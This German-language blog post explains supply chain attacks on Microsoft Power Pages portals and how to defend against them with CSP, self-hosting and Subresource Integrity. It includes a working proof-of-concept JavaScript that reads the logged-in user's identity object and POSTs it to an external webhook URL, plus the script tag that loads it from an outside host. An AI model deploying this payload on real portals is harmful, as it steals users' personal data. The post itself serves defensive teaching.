Power Pages Supply Chain Attack

Inhalt

• Einbindung von Drittanbieter-Skripten
• Power Pages Sicherheitsrisiko: Externe Skripte als Einfallstor
  • Das Portal-User Objekt auslesen
• So funktioniert die Daten-Exfiltration in Power Pages
• Power Pages absichern: Strategien gegen Supply Chain Attacks
  • 1. CSP (Content Security Policy) in den Portal-Einstellungen aktivieren
  • 2. Self-Hosting: Skripte als Webdateien im Portal speichern
  • 3. Subresource Integrity (SRI) für externe CDN-Ressourcen nutzen
• Fazit: Sicherheit durch Self-Hosting und strikte CSP

Einbindung von Drittanbieter-Skripten

Ein einziges <script>-Tag im Header-Template. Mehr braucht es nicht, um ein eigentlich sicheres Portal für Angreifer leicht angreifbar zu machen. Externe Skripte für Analytics, Chat-Widgets oder UI-Bibliotheken sind Alltag. Doch wenn die Quelle dieser Skripte kompromittiert wird, entsteht eine echte Schwachstelle direkt in deiner Enterprise Architektur.

In diesem Beitrag zeige ich detailliert, wie eine solche Supply Chain Attack in Microsoft Power Pages funktioniert, auf welche Daten Angreifer abzielen und mit welchen konkreten Einstellungen wir unsere Portale schützen.

Power Pages Sicherheitsrisiko: Externe Skripte als Einfallstor

Oft binden Entwickler-Teams nützliche Bibliotheken direkt über Content Delivery Networks (CDNs) wie jsDelivr, unpkg oder ungesicherte Hosting-Dienste ein. Das Problem: Wer den Code auf diesen Servern austauscht, ändert auch das Verhalten auf unserer Seite. Der Angreifer muss nicht unsere Infrastruktur hacken. Er muss nur das Skript übernehmen, dem wir vertrauen.

Das Portal-User Objekt auslesen

In Power Pages ist das globale Objekt window.Microsoft.Dynamic365.Portal.User besonders interessant für Angreifer. Es ist im Browser-Kontext für jedes ausgeführte Skript direkt zugänglich und enthält sensible Daten über den aktuell angemeldeten Portalnutzer:

• E-Mail-Adresse
• ContactId (Primärschlüssel des Portal-Kontakts)
• Fullname und zugehörige Berechtigungsrollen

Über dieses Objekt kann ein bösartiges Skript die Identität auslesen, ohne jemals das DOM oder komplexe HTML-Formulare parsen zu müssen.

So funktioniert die Daten-Exfiltration in Power Pages

Um das Risiko für Entscheider und Architekten greifbar zu machen, bauen wir diesen Angriff in einem kontrollierten Proof of Concept (POC) nach. So funktioniert der Identitätsdiebstahl in der Praxis:

1. Das Payload-Skript erstellen: Wir schreiben ein kurzes JavaScript, das prüft, ob ein Benutzer angemeldet ist. Ist das der Fall, liest es das Nutzerobjekt aus und sendet die Daten an einen externen Server (z.B. an einen Webhook des Angreifers).

   /**
    * POC: Data Exfiltration (Enterprise Anti-Pattern)
    * This script demonstrates how a compromised third-party script
    * could extract sensitive data from a Power Pages portal,
    * if NO strict CSP is active.
    */
   
   (function () {
     // 1. Goal: Directly extract sensitive user data from the portal context
     // The window.Microsoft.Dynamic365.Portal.User object often contains ProfileId, Email, etc.
     const extractSensitiveData = () => {
       const portalUser = window?.Microsoft?.Dynamic365?.Portal?.User;
   
       if (portalUser) {
         console.log('POC: Microsoft Portal User object found.');
         return portalUser; // Entire object as payload
       }
   
       return {};
     };
   
     // 2. Exfiltration: Send data to an external server
     const exfiltrate = (payload) => {
       if (Object.keys(payload).length === 0) return;
   
       console.warn('POC: Attempting data exfiltration to external server...');
   
       // Without CSP, this request would succeed:
       fetch('https://webhook.site/f9b18d96-8e16-4c0d-9e43-1e7f6d900777', {
         method: 'POST',
         mode: 'no-cors',
         body: JSON.stringify({
           url: window.location.href,
           timestamp: new Date().toISOString(),
           content: payload,
         }),
       }).catch((err) => {
         console.error('CSP SUCCESS: The browser blocked access to the external domain.');
       });
     };
   
     // Start after a short delay to ensure Power Pages components are loaded
     setTimeout(() => {
       const stolenData = extractSensitiveData();
       exfiltrate(stolenData);
     }, 2000);
   })();

2. Das Hosting des Angreifers simulieren: Das Skript wird auf einem beliebigen externen Dienst (in meinem Test tiiny.site) bereitgestellt. Die Datei ist von überall erreichbar.

3. Das Skript im Portal einbauen: Wir fügen den Verweis auf das Skript im Power Pages Design Studio oder der Portal Management App in ein Header-Web-Template ein:

   <!-- 
       MALICIOUS PROOF OF CONCEPT (POC) - DATA EXFILTRATION
       It demonstrates how an attacker might exfiltrate data from a victim's browser using JavaScript with a remote server
   -->
   <script src="https://js-poc-exfiltration.tiiny.site/js-poc-exfiltration.js"></script>

4. Der Angriff startet: Sobald sich ein echter Nutzer am Portal anmeldet, lädt der Browser das Skript. Das Skript greift auf das Portal.User Objekt zu und übermittelt die sensiblen Informationen im Hintergrund per POST-Request an die fremde URL.

   Der Blick in die Browser-Konsole (Network Tab) bestätigt den Erfolg des Angriffs. Der exfiltrierte Payload enthält alle Identitätsmerkmale des angemeldeten Benutzers:

   

   Parallel dazu landen die Daten in Echtzeit auf dem Server des Angreifers. Das Dashboard von Webhook.site zeigt detailliert die Header-Informationen und den gestohlenen JSON-Payload:

   

   Der Payload enthält alle Informationen, die im Portal.User Objekt verfügbar sind. In diesem Fall:

   {
     "userName": "demo_user",
     "firstName": "Demo",
     "lastName": "User",
     "email": "demo_user@muell.io",
     "contactId": "a9e56315-8994-f011-b4cc-00224875108e",
     "userRoles": []
   }

   Der Nutzer bemerkt von dieser im Hintergrund ablaufenden Übertragung absolut nichts.

Power Pages absichern: Strategien gegen Supply Chain Attacks

Damit solche Angriffe nicht passieren, reicht es nicht, Entwickler nur zu warnen. Die Sicherheit muss direkt in der Architektur fest eingebaut werden.

1. CSP (Content Security Policy) in den Portal-Einstellungen aktivieren

Die wichtigste Grundlage ist die Aktivierung der Content Security Policy (CSP). Power Pages bietet dafür direkte Einstellungen, damit der Browser ungewollte Datenabflüsse sofort stoppt. Details zur Konfiguration findest du in der offiziellen Dokumentation von Microsoft.

Wichtiger Hinweis: Für Websites, die nach dem 10. November 2025 erstellt wurden, ist die CSP standardmäßig mit einer vordefinierten Policy aktiviert.

1. Öffne die Portal Management App.
2. Navigiere im linken Menü zu Website-Einstellungen (Site Settings).
3. Suche nach der Einstellung HTTP/Content-Security-Policy. Falls diese nicht existiert, lege sie neu an.
4. Setze die Standardeinstellung auf:

script-src 'self' content.powerapps.com content.powerapps.us content.appsplatform.us content.powerapps.cn 'nonce'; style-src 'unsafe-inline' https:;

Diese Regel sorgt dafür, dass der Browser Netzwerkanfragen an unbekannte Domains (https://attacker-api.example) direkt blockiert. Der fetch-Aufruf aus unserem POC-Skript wird gestoppt und die Daten gehen nicht raus.

2. Self-Hosting: Skripte als Webdateien im Portal speichern

Wenn wir keine Skripte von externen Domains mehr zulassen, wie nutzen wir dann noch JavaScript-Bibliotheken? Die Antwort lautet Self-Hosting direkt im Portal.

1. Lade die benötigte JavaScript-Datei herunter.
2. Navigiere in der Portal Management App zu Webdateien.
3. Erstelle einen neuen Datensatz und hänge das Skript als Anlage an die zugehörige Notiz an. Setze den MIME-Typ zwingend auf application/javascript, damit der Browser die Datei korrekt interpretiert.
4. Binde das Skript über seinen relativen lokalen Pfad ein (z.B. <script src="/meine-bibliothek.js"></script>).

Da diese Datei nun von unserer eigenen Domain ('self') ausgeliefert wird, erfüllt sie die strikten CSP-Anforderungen.

3. Subresource Integrity (SRI) für externe CDN-Ressourcen nutzen

Gibt es Geschäftsanforderungen, bei denen wir zwingend externe CDNs nutzen müssen, greifen wir auf Subresource Integrity (SRI) zurück. Dabei geben wir beim Einbauen des Skripts einen kryptografischen Hash an.

<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-..." crossorigin="anonymous"></script>

Ändert der Angreifer den Code auf dem fremden Server, stimmt der vorberechnete Hash nicht mehr mit dem neuen Code überein. Der Browser führt das Skript dann gar nicht erst aus.

Praxis-Tipp: Den SRI-Hash generieren wir selbst. Die großen CDN-Anbieter wie jsDelivr oder unpkg zeigen diesen Hash nicht automatisch an. Die Datei wird lokal heruntergeladen und der Hash z. B. mit OpenSSL erzeugt:

openssl dgst -sha384 -binary jquery-3.6.0.min.js | openssl base64 -A

Das Ergebnis tragen wir als Wert für das integrity-Attribut ein. Manche CDN-Seiten wie cdnjs.com bieten den Hash direkt im Einbindungsbeispiel an, aber bei jsDelivr und unpkg ist dieser Schritt manuell notwendig.

Fazit: Sicherheit durch Self-Hosting und strikte CSP

Vertrauen ist in der Enterprise IT kein verlässliches Sicherheitskonzept. Eine Supply Chain Attack nutzt die Bequemlichkeit im Entwicklungsalltag aus, um die Sicherheit unserer Portale unsichtbar zu umgehen. Wer sich konsequent auf Self-Hosting verlässt und stattdessen eine strenge CSP konfiguriert, schließt diese Tür verlässlich ab, lange bevor Hacker sie entdecken.